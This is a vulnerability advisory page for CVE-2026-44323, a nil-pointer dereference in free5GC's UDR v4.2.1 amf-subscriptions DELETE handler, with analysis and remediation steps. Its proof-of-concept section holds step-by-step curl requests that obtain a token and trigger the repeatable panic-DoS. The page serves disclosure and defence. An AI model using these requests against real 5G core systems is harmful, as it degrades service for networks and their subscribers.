Skip to main content

free5GC UDR CVE-2026-44323

| EUVDEUVD-2026-32575 MEDIUM
NULL Pointer Dereference (CWE-476)
2026-05-08 https://github.com/free5gc/free5gc GHSA-4rqf-grm6-vf75
4.3
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
4.3 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
vuln.today AI
4.3 MEDIUM

Network-reachable SBI endpoint; PR:L because valid nudr-dr OAuth2 token is mandatory; A:L because Gin recovery preserves process continuity; no C or I impact confirmed.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
SUSE
MEDIUM
qualitative

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
Low

Lifecycle Timeline

3
Source Code Evidence Fetched
Jul 24, 2026 - 00:16 vuln.today
Analysis Generated
Jul 24, 2026 - 00:16 vuln.today
CVE Published
May 08, 2026 - 22:52 nvd
MEDIUM 4.3

DescriptionGitHub Advisory

Summary

free5GC's UDR nudr-dr DELETE /subscription-data/{ueId}/{servingPlmnId}/ee-subscriptions/{subsId}/amf-subscriptions handler contains a nil-pointer dereference reachable from a single authenticated request, after one preparatory authenticated EE-subscription create. The handler checks _, ok = UESubsData.EeSubscriptionCollection[subsId] and sets a 404 problem-details on the miss path, but then continues to UESubsData.EeSubscriptionCollection[subsId].AmfSubscriptionInfos -- dereferencing the same missing entry instead of returning. Gin recovery converts the panic into HTTP 500, but the endpoint remains repeatedly panicable.

This endpoint requires a valid nudr-dr OAuth2 access token (i.e. PR:L, NOT PR:N), so this is scored as an authenticated panic-DoS, not as an unauth-bypass finding.

Details

Validated against the UDR container in the official Docker compose lab.

  • Source repo tag: v4.2.1
  • Running Docker image: free5gc/udr:v4.2.1
  • Runtime UDR commit: 754d23b0
  • Docker validation date: 2026-03-22
  • UDR endpoint: http://10.100.200.11:8000

Precondition (one authenticated EE-subscription create allocates UE state):

go
if !ok {
    udrSelf.UESubsCollection.Store(ueId, new(udr_context.UESubsData))
    value, _ = udrSelf.UESubsCollection.Load(ueId)
}
...
UESubsData.EeSubscriptionCollection[newSubscriptionID] = new(udr_context.EeSubscriptionCollection)

Vulnerable handler (delete on amf-subscriptions): the ok miss path sets pd but does not return, so the very next line dereferences the nil entry:

go
_, ok = UESubsData.EeSubscriptionCollection[subsId]
if !ok {
    pd = util.ProblemDetailsNotFound("SUBSCRIPTION_NOT_FOUND")
}

if UESubsData.EeSubscriptionCollection[subsId].AmfSubscriptionInfos == nil {
    pd = util.ProblemDetailsNotFound("AMFSUBSCRIPTION_NOT_FOUND")
}

When subsId is absent, UESubsData.EeSubscriptionCollection[subsId] is nil, and .AmfSubscriptionInfos panics with runtime error: invalid memory address or nil pointer dereference.

Code evidence (paths in free5gc/udr):

  • Precondition route + handler (EE-subscription create that allocates UE state):
  • NFs/udr/internal/sbi/api_datarepository.go:600
  • NFs/udr/internal/sbi/api_datarepository.go:602
  • NFs/udr/internal/sbi/api_datarepository.go:2528
  • NFs/udr/internal/sbi/processor/event_exposure_subscriptions_collection.go:25
  • NFs/udr/internal/sbi/processor/event_exposure_subscriptions_collection.go:30
  • NFs/udr/internal/sbi/processor/event_exposure_subscriptions_collection.go:38
  • Vulnerable delete route + dispatch:
  • NFs/udr/internal/sbi/api_datarepository.go:2161
  • NFs/udr/internal/sbi/api_datarepository.go:2172
  • Panic root cause (nil deref):
  • NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:62
  • NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:64
  • NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:69

PoC

Reproduced end-to-end against the running UDR at http://10.100.200.11:8000.

  1. Restart UDR (clean state):
docker restart udr
  1. Obtain a valid nudr-dr token from NRF:
curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'grant_type=client_credentials&nfType=NEF&nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57&targetNfType=UDR&scope=nudr-dr'
  1. Create one EE subscription to populate UESubsCollection for ueId=x:
curl -i -sS -X POST \
  'http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/context-data/ee-subscriptions' \
  -H 'Authorization: Bearer <valid_nudr_dr_jwt>' \
  -H 'Content-Type: application/json' \
  --data '{}'
HTTP/1.1 201 Created
  1. Trigger the panic with a nonexistent subsId:
curl -i -sS -X DELETE \
  'http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions' \
  -H 'Authorization: Bearer <valid_nudr_dr_jwt>'
HTTP/1.1 500 Internal Server Error
Content-Length: 0
  1. UDR container logs (docker logs udr) confirm the nil-pointer panic at event_amf_subscription_info_document.go:69 inside RemoveAmfSubscriptionsInfoProcedure:
[ERRO][UDR][GIN] panic: runtime error: invalid memory address or nil pointer dereference
github.com/free5gc/udr/internal/sbi/processor.(*Processor).RemoveAmfSubscriptionsInfoProcedure
    .../event_amf_subscription_info_document.go:69
github.com/free5gc/udr/internal/sbi.(*Server).HandleRemoveAmfSubscriptionsInfo
    .../api_datarepository.go:2172
[INFO][UDR][GIN] | 500 | DELETE | /nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions |

Impact

NULL pointer dereference (CWE-476) in an authenticated UDR data-repository handler, caused by improper handling of the missing-subsId branch (CWE-754): the handler sets a problem-details value but does not return, then dereferences the same missing map entry.

This is NOT framed as an auth-bypass finding: the endpoint requires a valid nudr-dr OAuth2 access token. A network attacker who already holds (or can obtain) a valid token can:

  • Trigger a reliable, repeatable nil-deref panic on the amf-subscriptions delete route after one preparatory POST that allocates UE state for the chosen ueId.
  • Repeat the trigger to sustain a per-request panic-DoS on UDR's data-repository surface, with each panic costing more CPU + log writes than the intended 404 SUBSCRIPTION_NOT_FOUND response would have.

No Confidentiality impact (the response is 500 with empty body; no UE data is returned to the attacker via the panic). No persistent Integrity impact from the panic itself (the EE subscription created during the precondition is in-memory state owned by UDR's intended data-repository semantics, and is not corrupted by the delete-time panic). Availability impact is limited to per-request degradation (Gin recovers; the UDR process keeps running).

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/919 Upstream fix: https://github.com/free5gc/udr/pull/60

AnalysisAI

Nil-pointer dereference in free5GC's Unified Data Repository (UDR) v4.2.1 allows an OAuth2-authenticated network attacker to repeatedly panic the amf-subscriptions DELETE handler, forcing HTTP 500 responses and elevated CPU and log overhead on each request. The flaw stems from a missing return after the subscription-not-found branch in RemoveAmfSubscriptionsInfoProcedure, causing the handler to dereference a nil map entry even when it has already set a 404 problem-details response. No public exploit is in CISA KEV, but a full end-to-end proof-of-concept is embedded in GHSA-4rqf-grm6-vf75 and was validated against the official Docker compose lab, making exploitation straightforward for any holder of a valid nudr-dr token.

Technical ContextAI

The vulnerability is in the Go function RemoveAmfSubscriptionsInfoProcedure inside NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go (lines 62-69) of the free5GC UDR service, CPE pkg:go/github.com_free5gc_udr. The UDR is a 3GPP TS 29.504 5G core Network Function that stores UE subscription and context data, accessed by AMF and other NFs over an OAuth2-protected HTTP/2 Service Based Interface. The root cause is CWE-754 (Improper Check for Unusual or Exceptional Conditions): after a successful map-miss check (_, ok = UESubsData.EeSubscriptionCollection[subsId]), the handler assigns a ProblemDetails value but omits return, allowing control to fall through to the next statement that accesses .AmfSubscriptionInfos on the same nil pointer. In Go, a missing key in a map of pointer types yields a nil zero value; field access on nil causes runtime error: invalid memory address or nil pointer dereference (CWE-476). The Gin HTTP framework's recovery middleware catches the resulting goroutine panic and converts it to HTTP 500, so the UDR process survives but the endpoint remains indefinitely panicable. The fix in commit 8a1d3c63 introduces an early return after the not-found branch and renames the map lookup to a local variable (eeSub) so the subsequent nil guard (eeSub nil || eeSub.AmfSubscriptionInfos nil) is safe.

RemediationAI

Upgrade github.com/free5gc/udr to version 1.4.3 or later, which contains the fix landed in PR #60 (https://github.com/free5gc/udr/pull/60) at commit 8a1d3c63be99d378806d771f086ff32f1867da99. For Docker deployments, pull free5gc/udr:v4.2.2 or later to replace the vulnerable v4.2.1 image. If immediate upgrade is not possible, apply the following compensating controls: restrict nudr-dr OAuth2 token issuance at the NRF to explicitly allowlisted NF instance IDs, reducing the population of token holders who could trigger the endpoint; apply network-layer ACLs on UDR's SBI port (default 8000) to permit only authorized NF IP ranges, preventing externally-obtained tokens from reaching the endpoint; and configure log-based alerting on the substring RemoveAmfSubscriptionsInfoProcedure appearing in UDR logs to detect exploitation attempts. Note that Gin recovery already prevents process crashes, so the compensating controls primarily reduce exploitation surface rather than prevent service impact entirely. The vendor advisory is at https://github.com/free5gc/free5gc/security/advisories/GHSA-4rqf-grm6-vf75.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2026-66384 MEDIUM POC
5.3 Aug 12

Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2026-56274 HIGH POC
8.7 Jun 23

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

CVE-2025-34221 CRITICAL POC
10.0 Sep 29

Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2

Vendor StatusVendor

SUSE

Severity: Moderate
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

Share

CVE-2026-44323 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy